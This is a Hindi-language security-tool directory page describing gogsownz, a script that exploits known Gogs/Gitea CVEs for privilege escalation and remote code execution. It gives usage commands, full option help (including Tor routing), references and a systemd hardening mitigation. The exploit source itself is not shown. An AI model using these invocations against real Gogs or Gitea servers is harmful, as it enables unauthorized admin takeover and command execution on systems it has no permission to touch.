Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gogsownz — Gogs CVEs | Kitploit
उपकरण/GitHubGitHub/thez3ro/gogsownz
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणरिमोट एक्सेस टूल
GitHubthez3ro/gogsownz

gogsownz

Gogs CVEs

रिपॉजिटरी देखें
791546 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GogsOwnz

GogsOwnz एक सरल स्क्रिप्ट है जो Gogs/Gitea सर्वर पर व्यवस्थापक अधिकार और RCE प्राप्त करने के लिए है।
Gogs/Gitea में कमजोरियों का शोषण करें, जिसमें CVE-2018-18925, CVE-2018-20303 शामिल हैं।

कानूनी अस्वीकरण
यह स्क्रिप्ट ज्यों की त्यों प्रदान की जाती है। कोई वारंटी नहीं, अपने जोखिम पर उपयोग करें, कृपया कानून का पालन करें।

सामान्य उपयोग - [कृपया, पूर्ण उपयोग पढ़ें]

Gogs/Gitea के चलने के बारे में जानकारी प्राप्त करें

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

प्री-ऑथ PrivEsc का शोषण करें

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

PrivEsc का शोषण करें

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

या वैकल्पिक रूप से

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

प्री-ऑथ RCE का शोषण करें

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

प्रमाणित RCE का शोषण करें

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

पूर्ण उपयोग

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

धन्यवाद

धन्यवाद:

  • Tencent Security (@md5_salt, @ma7h1as and @chromium1337)
  • PentesterLab (@snyff)
  • LuckyC4t
  • gogs सुरक्षा समुदाय :D

और पढ़ें

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

शमन उपाय

यदि आप अपने systemd यूनिट फ़ाइल को सेट करने में सावधानी बरतते हैं, तो आपको यह देखकर सुखद आश्चर्य होगा कि शोषण कुछ हद तक नियंत्रित है:

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

यह कम से कम फ़ाइलसिस्टम एक्सेस को systemd द्वारा बनाए गए एक अस्थायी फ़ाइलसिस्टम तक सीमित रखेगा। यह मदद करता है, लेकिन आपको संभवतः privesc को पैच करना चाहिए और किसी को व्यवस्थापक नहीं देना चाहिए.. स्पष्ट रूप से।

टूल डाउनलोड करें